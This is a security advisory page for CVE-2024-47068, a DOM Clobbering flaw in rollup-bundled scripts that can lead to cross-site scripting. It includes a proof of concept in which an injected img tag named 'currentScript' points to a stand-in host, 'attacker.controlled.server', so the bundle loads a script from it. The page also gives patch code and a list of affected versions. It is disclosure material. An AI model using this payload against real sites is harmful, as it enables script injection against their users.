Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1nY3g0LW13NjItZzh3bc4AA_u0
DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url
or with plugins that emit and reference asset files from code in cjs
/umd
/iife
format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
rollup
Gadget found in We have identified a DOM Clobbering vulnerability in rollup
bundled scripts, particularly when the scripts uses import.meta
and set output in format of cjs
/umd
/iife
. In such cases, rollup
replaces meta property with the URL retrieved from document.currentScript
.
However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript
lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src
attribute of the attacker-controlled element (e.g., an img
tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.
PoC
Considering a website that contains the following main.js
script, the devloper decides to use the rollup
to bundle up the program: rollup main.js --format cjs --file bundle.js
.
var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)
The output bundle.js
is shown in the following code snippet.
'use strict';
var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);
Adding the rollup
bundled script, bundle.js
, as part of the web page source code, the page could load the extra.js
file from the attacker's domain, attacker.controlled.server
due to the introduced gadget during bundling. The attacker only needs to insert an img
tag with the name attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>rollup Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>
Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs
, iife
, or umd
and use import.meta
) and allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
getResolveUrl(
`'${escapeId(relativePath)}', ${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
);
const getUrlFromDocument = (chunkId: string, umd = false) =>
`${
umd ? `typeof document === 'undefined' ? location.href : ` : ''
}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
chunkId
)}', document.baseURI).href)`;
Permalink: https://github.com/advisories/GHSA-gcx4-mw62-g8wmJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nY3g0LW13NjItZzh3bc4AA_u0
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: 20 days ago
Updated: 17 days ago
CVSS Score: 6.4
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H
Identifiers: GHSA-gcx4-mw62-g8wm, CVE-2024-47068
References:
- https://github.com/rollup/rollup/security/advisories/GHSA-gcx4-mw62-g8wm
- https://nvd.nist.gov/vuln/detail/CVE-2024-47068
- https://github.com/rollup/rollup/commit/2ef77c00ec2635d42697cff2c0567ccc8db34fb4
- https://github.com/rollup/rollup/commit/e2552c9e955e0a61f70f508200ee9f752f85a541
- https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162
- https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185
- https://github.com/advisories/GHSA-gcx4-mw62-g8wm
Blast Radius: 38.7
Affected Packages
npm:rollup
Dependent packages: 130,345Dependent repositories: 1,133,301
Downloads: 105,517,899 last month
Affected Version Ranges: < 2.79.2, >= 3.0.0, < 3.29.5, >= 4.0.0, < 4.22.4
Fixed in: 2.79.2, 3.29.5, 4.22.4
All affected versions: 0.1.0, 0.2.0, 0.2.1, 0.3.0, 0.3.1, 0.4.0, 0.4.1, 0.5.0, 0.6.0, 0.6.1, 0.6.2, 0.6.3, 0.6.4, 0.6.5, 0.7.0, 0.7.1, 0.7.2, 0.7.3, 0.7.4, 0.7.5, 0.7.6, 0.7.7, 0.7.8, 0.8.0, 0.8.1, 0.8.2, 0.8.3, 0.9.0, 0.9.1, 0.10.0, 0.11.0, 0.11.1, 0.11.2, 0.11.3, 0.11.4, 0.12.0, 0.12.1, 0.13.0, 0.14.0, 0.14.1, 0.15.0, 0.16.0, 0.16.1, 0.16.2, 0.16.3, 0.16.4, 0.17.0, 0.17.1, 0.17.2, 0.17.3, 0.18.0, 0.18.1, 0.18.2, 0.18.3, 0.18.4, 0.18.5, 0.19.0, 0.19.1, 0.19.2, 0.20.0, 0.20.1, 0.20.2, 0.20.3, 0.20.4, 0.20.5, 0.21.0, 0.21.1, 0.21.2, 0.21.3, 0.22.0, 0.22.1, 0.22.2, 0.23.0, 0.23.1, 0.23.2, 0.24.0, 0.24.1, 0.25.0, 0.25.1, 0.25.2, 0.25.3, 0.25.4, 0.25.5, 0.25.6, 0.25.7, 0.25.8, 0.26.0, 0.26.1, 0.26.2, 0.26.3, 0.26.4, 0.26.5, 0.26.6, 0.26.7, 0.27.0, 0.27.1, 0.28.0, 0.29.0, 0.29.1, 0.30.0, 0.31.0, 0.31.1, 0.31.2, 0.32.0, 0.32.1, 0.32.2, 0.32.3, 0.32.4, 0.33.0, 0.33.1, 0.33.2, 0.34.0, 0.34.1, 0.34.2, 0.34.3, 0.34.4, 0.34.5, 0.34.6, 0.34.7, 0.34.8, 0.34.9, 0.34.10, 0.34.11, 0.34.12, 0.34.13, 0.35.0, 0.35.1, 0.35.2, 0.35.3, 0.35.4, 0.35.5, 0.35.6, 0.35.7, 0.35.8, 0.35.9, 0.35.10, 0.35.11, 0.35.12, 0.35.13, 0.35.14, 0.35.15, 0.36.0, 0.36.1, 0.36.2, 0.36.3, 0.36.4, 0.37.0, 0.37.1, 0.37.2, 0.38.0, 0.38.1, 0.38.2, 0.38.3, 0.39.0, 0.39.1, 0.39.2, 0.40.0, 0.40.1, 0.40.2, 0.41.0, 0.41.1, 0.41.2, 0.41.3, 0.41.4, 0.41.5, 0.41.6, 0.42.0, 0.43.0, 0.43.1, 0.44.0, 0.45.0, 0.45.1, 0.45.2, 0.46.0, 0.46.1, 0.46.2, 0.46.3, 0.47.0, 0.47.1, 0.47.2, 0.47.3, 0.47.4, 0.47.5, 0.47.6, 0.48.0, 0.48.1, 0.48.2, 0.49.0, 0.49.1, 0.49.2, 0.49.3, 0.50.0, 0.50.1, 0.51.0, 0.51.1, 0.51.2, 0.51.3, 0.51.4, 0.51.5, 0.51.6, 0.51.7, 0.51.8, 0.52.0, 0.52.1, 0.52.2, 0.52.3, 0.53.0, 0.53.1, 0.53.2, 0.53.3, 0.53.4, 0.54.0, 0.54.1, 0.55.0, 0.55.1, 0.55.2, 0.55.3, 0.55.4, 0.55.5, 0.56.0, 0.56.1, 0.56.2, 0.56.3, 0.56.4, 0.56.5, 0.57.0, 0.57.1, 0.58.0, 0.58.1, 0.58.2, 0.59.0, 0.59.1, 0.59.2, 0.59.3, 0.59.4, 0.60.0, 0.60.1, 0.60.2, 0.60.3, 0.60.4, 0.60.5, 0.60.6, 0.60.7, 0.61.0, 0.61.1, 0.61.2, 0.62.0, 0.63.0, 0.63.1, 0.63.2, 0.63.3, 0.63.4, 0.63.5, 0.64.0, 0.64.1, 0.65.0, 0.65.1, 0.65.2, 0.66.0, 0.66.1, 0.66.2, 0.66.3, 0.66.4, 0.66.5, 0.66.6, 0.67.0, 0.67.1, 0.67.2, 0.67.3, 0.67.4, 0.68.0, 0.68.1, 0.68.2, 1.0.0, 1.0.1, 1.0.2, 1.1.0, 1.1.1, 1.1.2, 1.2.0, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.2.5, 1.3.0, 1.3.1, 1.3.2, 1.3.3, 1.4.0, 1.4.1, 1.4.2, 1.5.0, 1.6.0, 1.6.1, 1.7.0, 1.7.1, 1.7.2, 1.7.3, 1.7.4, 1.8.0, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.10.0, 1.10.1, 1.11.0, 1.11.1, 1.11.2, 1.11.3, 1.12.0, 1.12.1, 1.12.2, 1.12.3, 1.12.4, 1.12.5, 1.13.0, 1.13.1, 1.14.0, 1.14.1, 1.14.2, 1.14.3, 1.14.4, 1.14.5, 1.14.6, 1.15.0, 1.15.1, 1.15.2, 1.15.3, 1.15.4, 1.15.5, 1.15.6, 1.16.0, 1.16.1, 1.16.2, 1.16.3, 1.16.4, 1.16.5, 1.16.6, 1.16.7, 1.17.0, 1.18.0, 1.19.0, 1.19.1, 1.19.2, 1.19.3, 1.19.4, 1.20.0, 1.20.1, 1.20.2, 1.20.3, 1.21.0, 1.21.1, 1.21.2, 1.21.3, 1.21.4, 1.22.0, 1.23.0, 1.23.1, 1.24.0, 1.25.0, 1.25.1, 1.25.2, 1.26.0, 1.26.1, 1.26.2, 1.26.3, 1.26.4, 1.26.5, 1.27.0, 1.27.1, 1.27.2, 1.27.3, 1.27.4, 1.27.5, 1.27.6, 1.27.7, 1.27.8, 1.27.9, 1.27.10, 1.27.11, 1.27.12, 1.27.13, 1.27.14, 1.28.0, 1.29.0, 1.29.1, 1.30.0, 1.30.1, 1.31.0, 1.31.1, 1.32.0, 1.32.1, 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.3.3, 2.3.4, 2.3.5, 2.4.0, 2.5.0, 2.6.0, 2.6.1, 2.7.0, 2.7.1, 2.7.2, 2.7.3, 2.7.4, 2.7.5, 2.7.6, 2.8.0, 2.8.1, 2.8.2, 2.9.0, 2.9.1, 2.10.0, 2.10.1, 2.10.2, 2.10.3, 2.10.4, 2.10.5, 2.10.6, 2.10.7, 2.10.8, 2.10.9, 2.11.0, 2.11.1, 2.11.2, 2.12.0, 2.12.1, 2.13.0, 2.13.1, 2.14.0, 2.15.0, 2.16.0, 2.16.1, 2.17.0, 2.17.1, 2.18.0, 2.18.1, 2.18.2, 2.19.0, 2.20.0, 2.21.0, 2.22.0, 2.22.1, 2.22.2, 2.23.0, 2.23.1, 2.24.0, 2.25.0, 2.26.0, 2.26.1, 2.26.2, 2.26.3, 2.26.4, 2.26.5, 2.26.6, 2.26.7, 2.26.8, 2.26.9, 2.26.10, 2.26.11, 2.27.0, 2.27.1, 2.28.0, 2.28.1, 2.28.2, 2.29.0, 2.30.0, 2.31.0, 2.32.0, 2.32.1, 2.33.0, 2.33.1, 2.33.2, 2.33.3, 2.34.0, 2.34.1, 2.34.2, 2.35.0, 2.35.1, 2.36.0, 2.36.1, 2.36.2, 2.37.0, 2.37.1, 2.38.0, 2.38.1, 2.38.2, 2.38.3, 2.38.4, 2.38.5, 2.39.0, 2.39.1, 2.40.0, 2.41.0, 2.41.1, 2.41.2, 2.41.3, 2.41.4, 2.41.5, 2.42.0, 2.42.1, 2.42.2, 2.42.3, 2.42.4, 2.43.0, 2.43.1, 2.44.0, 2.45.0, 2.45.1, 2.45.2, 2.46.0, 2.47.0, 2.48.0, 2.49.0, 2.50.0, 2.50.1, 2.50.2, 2.50.3, 2.50.4, 2.50.5, 2.50.6, 2.51.0, 2.51.1, 2.51.2, 2.52.0, 2.52.1, 2.52.2, 2.52.3, 2.52.4, 2.52.5, 2.52.6, 2.52.7, 2.52.8, 2.53.0, 2.53.1, 2.53.2, 2.53.3, 2.54.0, 2.55.0, 2.55.1, 2.56.0, 2.56.1, 2.56.2, 2.56.3, 2.57.0, 2.58.0, 2.58.1, 2.58.2, 2.58.3, 2.59.0, 2.60.0, 2.60.1, 2.60.2, 2.61.0, 2.61.1, 2.62.0, 2.63.0, 2.64.0, 2.65.0, 2.66.0, 2.66.1, 2.67.0, 2.67.1, 2.67.2, 2.67.3, 2.68.0, 2.69.0, 2.69.1, 2.69.2, 2.70.0, 2.70.1, 2.70.2, 2.71.0, 2.71.1, 2.72.0, 2.72.1, 2.73.0, 2.74.0, 2.74.1, 2.75.0, 2.75.1, 2.75.2, 2.75.3, 2.75.4, 2.75.5, 2.75.6, 2.75.7, 2.76.0, 2.77.0, 2.77.1, 2.77.2, 2.77.3, 2.78.0, 2.78.1, 2.79.0, 2.79.1, 3.0.0, 3.0.1, 3.1.0, 3.2.0, 3.2.1, 3.2.2, 3.2.3, 3.2.4, 3.2.5, 3.3.0, 3.4.0, 3.5.0, 3.5.1, 3.6.0, 3.7.0, 3.7.1, 3.7.2, 3.7.3, 3.7.4, 3.7.5, 3.8.0, 3.8.1, 3.9.0, 3.9.1, 3.10.0, 3.10.1, 3.11.0, 3.12.0, 3.12.1, 3.13.0, 3.14.0, 3.15.0, 3.16.0, 3.17.0, 3.17.1, 3.17.2, 3.17.3, 3.18.0, 3.19.0, 3.19.1, 3.20.0, 3.20.1, 3.20.2, 3.20.3, 3.20.4, 3.20.5, 3.20.6, 3.20.7, 3.21.0, 3.21.1, 3.21.2, 3.21.3, 3.21.4, 3.21.5, 3.21.6, 3.21.7, 3.21.8, 3.22.0, 3.22.1, 3.23.0, 3.23.1, 3.24.0, 3.24.1, 3.25.0, 3.25.1, 3.25.2, 3.25.3, 3.26.0, 3.26.1, 3.26.2, 3.26.3, 3.27.0, 3.27.1, 3.27.2, 3.28.0, 3.28.1, 3.29.0, 3.29.1, 3.29.2, 3.29.3, 3.29.4, 4.0.0, 4.0.1, 4.0.2, 4.1.0, 4.1.1, 4.1.3, 4.1.4, 4.1.5, 4.1.6, 4.2.0, 4.3.0, 4.3.1, 4.4.0, 4.4.1, 4.5.0, 4.5.1, 4.5.2, 4.6.0, 4.6.1, 4.7.0, 4.8.0, 4.9.0, 4.9.1, 4.9.2, 4.9.3, 4.9.4, 4.9.5, 4.9.6, 4.10.0, 4.11.0, 4.12.0, 4.12.1, 4.13.0, 4.13.1, 4.13.2, 4.14.0, 4.14.1, 4.14.2, 4.14.3, 4.15.0, 4.16.0, 4.16.1, 4.16.2, 4.16.3, 4.16.4, 4.17.0, 4.17.1, 4.17.2, 4.18.0, 4.18.1, 4.19.0, 4.19.1, 4.19.2, 4.20.0, 4.21.0, 4.21.1, 4.21.2, 4.21.3, 4.22.0, 4.22.1, 4.22.2, 4.22.3
All unaffected versions: 2.79.2, 3.29.5, 4.22.4, 4.22.5, 4.23.0, 4.24.0